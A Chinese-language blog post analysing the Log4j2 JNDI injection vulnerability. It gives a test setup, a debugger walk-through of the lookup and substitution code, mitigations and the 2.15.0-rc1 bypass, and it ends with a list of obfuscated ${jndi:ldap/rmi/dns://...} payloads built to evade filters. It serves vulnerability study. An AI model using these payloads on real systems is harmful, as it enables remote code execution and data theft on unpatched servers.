log4j2绕过手法
2023-06-10 19:46:36

漏洞刚出那会就复现过,漏洞原理也了解了

比赛上也打过类似的漏洞

但是没有系统的总结过该漏洞包括成因包括后续的Bypass等

遂有该篇文章

0x01环境准备

Log4j2Test01.java

1
2
3
4
5
6
7
8
9
10
11
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class Log4j2Test01 {
public static void main( String[] args )
{
Logger logger = LogManager.getLogger(LongFunction.class);
}
}

Log4j2_test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class Log4j2_test {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);

String str = "${java:os}";
if (str != null){
logger.info("result:{}",str);
}
}
}

log4j2.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0" encoding="UTF-8"?>
<!-- log4j2 配置文件 -->
<!-- 日志级别 trace<debug<info<warn<error<fatal --><configuration status="info">
<!-- 自定义属性 -->
<Properties>
<!-- 日志格式(控制台) -->
<Property name="pattern1">[%-5p] %d %c - %m%n</Property>
<!-- 日志格式(文件) -->
<Property name="pattern2">
=========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n
</Property>
<!-- 日志文件路径 -->
<Property name="filePath">logs/myLog.log</Property>
</Properties>
<appenders> <Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="${pattern1}"/>
</Console> <RollingFile name="RollingFile" fileName="${filePath}"
filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
<PatternLayout pattern="${pattern2}"/>
<SizeBasedTriggeringPolicy size="5 MB"/>
</RollingFile> </appenders> <loggers> <root level="info">
<appender-ref ref="Console"/>
<appender-ref ref="RollingFile"/>
</root> </loggers></configuration>

pom配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
</dependencies>

测试

image-20230606144948921

从图中可以看到打印内容并非java:os

而是java的系统信息,也就是说对我们传入的字符串内容进行处理并输出

如果是恶意的字符被传入,就可以非法利用

0x02漏洞分析

影响版本

2.x <= log4j <= 2.15.0-rc1

按照上面的输出,我们在这里跟进一下代码

首先是进行遍历,内容进行拼接

buffer也就是我们要输出的java:os的内容

event则是输出我们打印的字符串

image-20230606234255714

这里先有一个if判断,config不为空并且noLookups为true即可进入if

这里我钝了一下,为啥第二个条件为false也能进入if,才发现是!条件为true(老年人眼花

image-20230607204435108

进来之后还是一个遍历,是从66位开始的

那我们就去看下开始的位置

image-20230607203511896

可以看到66是r

image-20230607201714340

也就是

image-20230607205146301

接着来获取${

1
workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{'

并且到这一步就可以看到最终的value的值为result:${java:os}

image-20230607214556526

跟进看一下替换过程

判断source(${java:os})不为空

来到重载的replace方法并调用substitute方法

image-20230608213421686

接着走

来到substitute方法

前缀

image-20230608213700762

和后缀

image-20230608213721180

逃逸代码

1
final char escape = getEscapeChar();//$

这里会重复几轮,我们直接跳过

image-20230608224200558

这个while进来就开始匹配${

image-20230608230255611

1
pos > offset //false  跳出if

接着pos和bufEnd进行比较(2<11)

image-20230608230536543

然后接着遍历

。。。

转的有点晕了

刚才只是小循环

大循环之后拿到varValue

image-20230608231920828

再之后拿到char数组就是处理后的内容

image-20230608232121791

一路跟进到revolveVariable方法

该方法根据不同协议选择相应的lookup逻辑进行解析

image-20230608233233665

ps:这里测试payload还是更换为jndi:ldap://127.0.0.1:1389/Evil

再开两个服务ldap和http

测试一下没问题

image-20230609182053737

再跟进,更换paylaod主要是我们后续要跟到jndi部分,否则无法通过jndi调用lookup

调用jndi原生的lookup

image-20230609182722941

返回JndiManager的Class对象实体的字符串

image-20230609182923776

同上,最终来到jndiManager的lookup方法,继续跟进

image-20230609183055722

image-20230609183354177

大致总结下就是

  1. 先判断内容中是否有${},然后截取${}中的内容,得到我们的恶意payloadjndi:xxx
  2. 后使用:分割payload,通过前缀来判断使用何种解析器去lookup
  3. 支持的前缀包括date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:10, Test (com.summer.test)

0x03 Log4j2的一些点

在 Log4j2 中提供的众多特性中,其中一个就是 Property Support。这个特性让使用者可以引用配置中的属性,或传递给底层组件并动态解析。这些属性来自于配置文件中定义的值、系统属性、环境变量、ThreadContext、和事件中存在的数据,用户也可以提供自定义的 Lookup 组件来配置自定义的值。

其中Lookup & Substitution的过程也就是漏洞的关键点。提供Lookup功能的组件需要实现org.apache.logging.log4j.core.lookup.StrLookup接口,并通过配置文件进行设置。

Lookup支持的属性查找或替换选项(各协议)

image-20230529150704703

缓解措施及说明

在 >= 2.10 版本,可以通过设置系统属性 log4j2.formatMsgNoLookups 或环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS 为 true 来缓解

log4j自从2.17.0后在Lookup中使用Jndi协议需要修改默认配置log4j2.enableJndiLookup,其默认为false,无法调用jndiimage-20230605150631273

在 2.0-beta9 to 2.10.0 版本,可以通过移除 classpath 中的 JndiLookup 类来缓解

https://logging.apache.org/log4j/2.x/manual/lookups.html#JavaLookup

消息格式化

log4j2通过MessagePatternConverter对日志消息进行处理,实例化该类时会从config中回去xml配置信息盘圆是否提供Lookups功能

image-20230609223055193

并且会从loadNoLookups函数进行加载来判断

image-20230609222403190

然后就是字符串解析替换

通过上面跟源码

字符串替换操作是通过StrSubstitutor#replace

然后是解析,通过设置变量,前缀${和后缀}

默认分隔符:-

分隔符:-

该类提供的substitute方法,也是整个Lookuop功能的核心,递归替换相应字符串

当然debug的时候确实很绕,不打断点一会就迷路了

这里直接看现成的例子(来自su18师傅)

1
2
- :- 是一个赋值关键字,如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb,:- 关键字将会被截取掉,而之前的字符串都会被舍弃掉。
- :\- 是转义的 :-,如果一个用 a:b 表示的键值对的 key a 中包含 :,则需要使用转义来配合处理,例如 ${aaa:\\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc。

在没有匹配到变量赋值或处理结束后,将会调用 resolveVariable 方法解析满足 Lookup 功能的语法,并执行相应的 lookup ,将返回的结果替换回原字符串后,再次调用 substitute 方法进行递归解析。

后续的一些Bypass也是根据这些特征来进行的

由于 Log4j2 支持递归和嵌套解析,所以可以用来获取相关信息来实现一些攻击思路

2.15.0(rc1)绕过

MessagePatternConverter类中,移除了从 Properties 中获取 Lookup 配置的选项,并修改判断逻辑,默认不开启 lookup 功能。

image-20230610144333575

其内部类方法对扩展功能进行模块化处理,在只有开启lookup功能的时候才能使用LookupMessagePatternConverter 来进行 Lookup 和替换。

image-20230610172636544

在默认情况下,将使用 SimpleMessagePatternConverter 进行消息的格式化处理,不会解析其中的 ${} 关键字。

接着实在JndiManager#lookup方法添加了校验,不会直接使用InitialContext创建JndiManager 实例

而是通过JndiManagerFactory ,使用子类InitialDirContext并为其添加白名单 JNDI 协议、白名单主机名、白名单类名。

最终在lookup方法中,逻辑在catch后没有return,导致可以利用URISyntaxException异常来绕过校验,直接走到后面lookup

image-20230610193648895

即url中存在空格即可出发漏洞

windows不行,Mac可以…

但是2.15.0版本默认是关闭lookup的,需要打开配置才能触发,有点鸡肋

虽然除了 JNDI 之外的核心包里的 Lookup 不能直接用来执行恶意代码,但是可以获取系统信息、环境变量、属性配置、JVM参数等等信息,这些信息可以被攻击者用来进行下一步的攻击。(Google CTF一个题目的非预期)

Bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};

${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";

${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";

${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";

${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";
${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
jn${env::-}di:
jn${date:}di${date:':'}
j${k8s:k5:-ND}i${sd:k5:-:}
j${main:\k5:-Nd}i${spring:k5:-:}
j${sys:k5:-nD}${lower:i${web:k5:-:}}
j${::-nD}i${::-:}
j${EnV:K5:-nD}i:
j${loWer:Nd}i${uPper::}

0x04 修复建议

开组奇安信威胁情报中心

1639383712467.png

低版本(<2.10)无法通过jvm 参数、配置、环境系统变量中设置 nolookups关闭 lookup 功能